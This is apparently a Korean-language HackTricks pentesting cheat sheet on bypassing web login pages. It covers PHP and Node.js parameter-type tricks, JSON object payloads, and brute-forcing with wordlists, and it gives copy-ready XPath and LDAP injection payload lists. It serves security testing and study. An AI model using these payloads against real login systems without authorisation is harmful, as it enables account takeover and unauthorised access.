๋กœ๊ทธ์ธ ์šฐํšŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ •์ƒ ๋กœ๊ทธ์ธ ์šฐํšŒ

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋ฅผ ์ฐพ์œผ๋ฉด, ์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ ๊ธฐ์ˆ ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • ํŽ˜์ด์ง€ ๋‚ด ์ฃผ์„ ํ™•์ธ (์•„๋ž˜๋กœ ์Šคํฌ๋กคํ•˜๊ณ  ์˜ค๋ฅธ์ชฝ์œผ๋กœ?)
  • ์ œํ•œ๋œ ํŽ˜์ด์ง€์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธ
  • ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๊ธฐ (์•„๋ฌด๊ฒƒ๋„ ์ „์†กํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ 1๊ฐœ๋งŒ ์ „์†ก)
  • PHP ๋น„๊ต ์˜ค๋ฅ˜ ํ™•์ธ: user[]=a&pwd=b, user=a&pwd[]=b, user[]=a&pwd[]=b
  • ๋‚ด์šฉ ์œ ํ˜•์„ json์œผ๋กœ ๋ณ€๊ฒฝํ•˜๊ณ  json ๊ฐ’์„ ์ „์†ก (bool true ํฌํ•จ)
  • POST๊ฐ€ ์ง€์›๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์‘๋‹ต์„ ๋ฐ›์œผ๋ฉด GET ์š”์ฒญ์œผ๋กœ ๋ณธ๋ฌธ์— JSON์„ ์ „์†กํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Content-Type: application/json
  • nodejs์˜ ์ž ์žฌ์  ํŒŒ์‹ฑ ์˜ค๋ฅ˜ ํ™•์ธ (์ฝ๊ธฐ ์ด๊ฒƒ): password[password]=1
  • Nodejs๋Š” ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ์ฟผ๋ฆฌ๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; ์ด๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ๋น„ํŠธ๋ฅผ ํ•ญ์ƒ true๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • JSON ๊ฐ์ฒด๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด "password":{"password": 1}์„ ์ „์†กํ•˜์—ฌ ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ด ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•˜๋ ค๋ฉด ์—ฌ์ „ํžˆ ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์•Œ๊ณ  ์ „์†กํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”.
  • mysql.createConnection์„ ํ˜ธ์ถœํ•  ๋•Œ "stringifyObjects":true ์˜ต์…˜์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ Object๊ฐ€ ์ „๋‹ฌ๋  ๋•Œ ๋ชจ๋“  ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๋™์ž‘์„ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ž๊ฒฉ ์ฆ๋ช… ํ™•์ธ:
  • ์‚ฌ์šฉ ์ค‘์ธ ๊ธฐ์ˆ /ํ”Œ๋žซํผ์˜ ๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…
  • ์ผ๋ฐ˜ ์กฐํ•ฉ (root, admin, password, ๊ธฐ์ˆ  ์ด๋ฆ„, ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ค‘ ํ•˜๋‚˜๋ฅผ ๊ฐ€์ง„ ๊ธฐ๋ณธ ์‚ฌ์šฉ์ž).
  • Cewl์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์ „์„ ๋งŒ๋“ค๊ณ  ๊ธฐ๋ณธ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ(์žˆ๋Š” ๊ฒฝ์šฐ)๋ฅผ ์ถ”๊ฐ€ํ•œ ํ›„ ๋ชจ๋“  ๋‹จ์–ด๋ฅผ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ์‹œ๋„
  • ๋” ํฐ ์‚ฌ์ „์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… (๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…)

SQL ์ธ์ ์…˜ ์ธ์ฆ ์šฐํšŒ

์—ฌ๊ธฐ์—์„œ SQL ์ธ์ ์…˜์„ ํ†ตํ•ด ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•˜๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์š”๋ น์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ๋Š” SQL ์ธ์ ์…˜์„ ํ†ตํ•ด ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž ์ •์˜ ๋ชฉ๋ก์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Login bypass List

No SQL ์ธ์ ์…˜ ์ธ์ฆ ์šฐํšŒ

์—ฌ๊ธฐ์—์„œ No SQL ์ธ์ ์…˜์„ ํ†ตํ•ด ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•˜๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์š”๋ น์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NoSQL ์ธ์ ์…˜์€ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์„ ๋ณ€๊ฒฝํ•ด์•ผ ํ•˜๋ฏ€๋กœ ์ˆ˜๋™์œผ๋กœ ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

XPath ์ธ์ ์…˜ ์ธ์ฆ ์šฐํšŒ

์—ฌ๊ธฐ์—์„œ XPath ์ธ์ ์…˜์„ ํ†ตํ•ด ๋กœ๊ทธ์ธ์„ ์šฐํšŒํ•˜๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์š”๋ น์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection ์ธ์ฆ ์šฐํšŒ

์—ฌ๊ธฐ์—์„œ LDAP Injection์„ ํ†ตํ•œ ๋กœ๊ทธ์ธ ์šฐํšŒ์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ํŠธ๋ฆญ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me

ํŽ˜์ด์ง€์— โ€œRemember Meโ€ ๊ธฐ๋Šฅ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ๊ตฌํ˜„๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๊ณ„์ •์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Redirects

ํŽ˜์ด์ง€๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋กœ๊ทธ์ธ ํ›„ ์‚ฌ์šฉ์ž๋ฅผ ๋ฆฌ๋””๋ ‰์…˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๋ฆฌ๋””๋ ‰์…˜์„ ๋ณ€๊ฒฝํ•˜์—ฌ Open Redirect๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์‚ฌ์šฉ์ž๋ฅผ ๊ท€ํ•˜์˜ ์›น์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ฉด ์ผ๋ถ€ ์ •๋ณด(์ฝ”๋“œ, ์ฟ ํ‚ค ๋“ฑ)๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.

Other Checks

  • ๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  • ๋น„๋ฐ€๋ฒˆํ˜ธ/๋ฏผ๊ฐํ•œ ์ •๋ณด ์–‘์‹ ์ž…๋ ฅ์—์„œ ์ž๋™ ์™„์„ฑ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: <input autocomplete="false">

Automatic Tools

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ